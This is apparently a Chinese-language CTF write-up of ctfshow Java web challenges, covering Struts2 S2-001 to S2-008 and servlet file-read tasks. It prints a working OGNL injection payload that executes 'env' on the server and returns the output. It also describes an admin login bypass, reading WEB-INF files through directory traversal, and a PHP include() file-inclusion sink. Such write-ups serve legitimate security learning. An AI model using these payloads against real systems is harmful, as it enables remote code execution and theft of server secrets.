S2-001
打开后要加上路径 /S2-001
然后登录框随便输入会发现跳了一个url /login.action
一看 .action
后缀就知道是structs了 直接漏洞利用工具梭哈
直接执行命令看env即可
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
具体原理看 S2-005
工具 Struts2全版本漏洞检测工具 梭哈就行了
S2-007
工具梭哈
S2-008
工具梭哈
题目给了一个war包,直接解压后用ide打开会自动帮我们进行反编译。
一般我对于这种web的java包都是先看servlet路由
这里接受了两个参数
下面进行了一个判断
只要我们输入的不是 admin
然后就会进行下一个判断。
我们看一下这个 getVipStatus
方法,他是写在User这个类里面的
这里又要我们这个username=admin,与上面的判断明显有矛盾。
但是这里两个判断是否相等的方法不一样
一个是用的“==” 进行判断
另外一个是用的 username.equals()
判断
所以这里应该是要进行绕过,
注意,这里还要加上路由 /login
才行
/ctfshow/login?username=admin&password=ctfshow
查看网页源代码给我们了一个提示
他这里可能写错了。写成了.php 应该是.jsp
我们改成.jsp就可以发现确实是可以获取到jsp文件内容的
首先先去读一下web.xml文件 看一下配置的servlet路由
可以发现有一个这个 getFlag
的路由
那可能这个就是servlet的文件名,我们去读取一下看看
view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
这里有个 /fl3g
有点刻意
读一下看看
这里是写在根目录下面的,所以我们需要进行一下这个目录穿越
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这里给了个php的文件读取。
然后还是和上一题一样先读 web.xml
然后去读 getFlag.class
读flag
前面没什么好说的,就是用 Struts2全版本漏洞检测工具梭哈就行了。 我发现低版本的S2漏洞基本都是这个OGNL表达式被滥用导致的。 感觉有点与SSTI相似
后面的两个文件读取也主要就是考验对这种 servlet
路由的一个熟悉。只要用java写过简单的web网页基本也都知道这个路由怎么去看